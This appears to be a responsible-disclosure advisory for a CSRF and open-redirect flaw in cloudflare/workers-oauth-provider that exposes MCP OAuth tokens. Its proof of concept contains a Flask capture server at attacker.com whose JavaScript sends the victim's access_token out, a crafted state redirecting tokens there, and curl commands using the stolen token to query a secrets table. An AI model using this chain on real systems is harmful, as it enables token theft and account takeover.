Clients are required in the OAuth spec to prevent CSRF attacks at its Callback handler. The implementation in cloudflare/workers-oauth-provider doesn’t protect against CSRF and, in addition, it uses the plaintext redirect_uri parameter in the base64 encoded state parameter to redirect the auth code or token. This means that an attacker crafted URL with a custom state parameter can openly redirect the user’s MCP OAuth token to arbitrary endpoints even though the user thinks they are interacting with a known MCP server.
Normally, authentication with Cloudflare MCP servers using cloudflare/workers-oauth-provider involves two separate OAuth flows, one between the MCP Client and the Cloudflare MCP Server and another between the MCP Server (acting as an OAuth client) and the Cloudflare Authorization server. This matches the Third-Party Authorization Flow found in early versions of the MCP Specification that has since been removed.
However, the attacker can short circuit the normal flow by creating their own Authorization URL, replacing the redirection URL that would normally go to the Valid MCP client with their own server’s URL. This results in the user going through an OAuth flow with Cloudflare’s Authorization server and MCP Server as if it was a valid client, but instead redirecting the user’s token to the attacker’s server.
At the time of reporting this issue, there was also no consent page for dynamically registered OAuth clients at Cloudflare’s MCP servers which would also allow token theft by the attacker dynamically registering their own OAuth client. This separate issue is in the MCP Server implementation itself and was already known by Cloudflare and has since also been fixed.
Medium - The user must visit a link and consent to giving Cloudflare’s MCP server access to their account (see screenshot in Proof of Concept section), however there is no consent mentioning or granting access to the attacker controlled endpoint. This results in the user thinking they are interacting only with valid Cloudflare owned services, while their token is actually being sent to the attacker.
The cloudflare/workers-oauth-provider callback handler implementation trusts the incoming state parameter without performing any CSRF prevention. The state parameter is a base64 encoded, but otherwise unprotected, JSON message that contains the redirectUri the user’s auth code or token is redirected to. This redirectUri is not checked against the OAuth client configuration.
As an example, the decoded state parameter from a valid OAuth flow looks like:
Create a hosted endpoint that can capture the callback from the server using cloudflare/workers-oauth-provider. We use https://bindings.mcp.cloudflare.com/ as an example that uses cloudflare/workers-oauth-provider, but all the Cloudflare MCP servers appear to use the package. We will say this callback is hosted at https://attacker.com/callback in the example below.
import datetime import tempfile import base64 from flask import Flask, request, redirect app = Flask(__name__) @app.route("/callback") def callback(): html_content = """ <!DOCTYPE html> <html> <head> <script> const hash_params = new URLSearchParams(window.location.hash.substring(1)); fetch('/store?params=' + btoa(hash_params.get("access_token"))) .then(response => { window.location.href = "https://dash.cloudflare.com"; }) .catch(error => { }); <script> <head> <body> </body> </html> """ return html_content @app.route("/store") def store(): with open("/tmp/params", "w") as file: file.write(request.args\['params'\]) return '', 200 @app.route("/getlast") def root(): with open("/tmp/params", "r") as file: params \= file.read() return { "params": base64.b64decode(params).decode('utf-8') } if __name__== "__main__": app.run(host="127.0.0.1", port=8080, debug=True)
| {"responseType":"token","clientId":"sXb8fhGMa3fEXvCy","redirectUri":"https://attacker.com/callback","scope":\["user:read","offline\_access","account:read","workers:write","d1:write"\],"state":"57597f07-2614-418d-aef3-963b0208a28b", "codeChallenge":"dEsHKuCPzu8gcSYZ2XCm1GVeaL-I4EYx0tQbT1ikLqs","codeChallengeMethod":"S256","codeVerifier":"VnRTSDVuVU02eldrZGNOfnVfb0NMOUNwM2Y3TFJOX0pVd2VKREVYU0VEYTYyalNrOEpnfldEblU3dUl0dE85My5rV1MwRUxmLmRwLm5HY1VmdWUtSF9OVnNZM3g0dEV2"} |
|---|
| curl -N -X POST -H "authorization: Bearer access_token" https://bindings.mcp.cloudflare.com/sse |
|---|
| curl -X POST -H "authorization: Bearer access_token" -H "mcp-protocol-version: 2025-06-18" -H "accept: application/json, text/event-stream" -H "content-type: application/json" -d '{"method":"tools/call","params":{"name":"accounts_list","arguments":{}},"jsonrpc":"2.0","id":3}' https://bindings.mcp.cloudflare.com/sse/message?sessionId=session\_id |
|---|
| curl -X POST -H "authorization: Bearer access_token" -H "mcp-protocol-version: 2025-06-18" -H "accept: application/json, text/event-stream" -H "content-type: application/json" -d '{"method":"tools/call","params":{"name":"d1_database_query","arguments":{"database_id":"database_id","sql":"SELECT * FROM secrets","params":null}},"jsonrpc":"2.0","id":3}' https://bindings.mcp.cloudflare.com/sse/message?sessionId=session\_id |
|---|
In addition to the issue above, the PKCE code verifier is also encoded into the state parameter in plaintext. This value, per the specification, is supposed to be a secret held by the client. By encoding it into the easily accessible state, an attacker who is able to intercept the code (the attack model PKCE is designed to prevent) would also intercept the code verifier, defeating the protection PKCE gives. The PKCE code verifier needs to be kept secret by the client.
Date reported: 2025-09-16
Date fixed: 2025-10-20 (Verified)
Date disclosed: 2025-12-15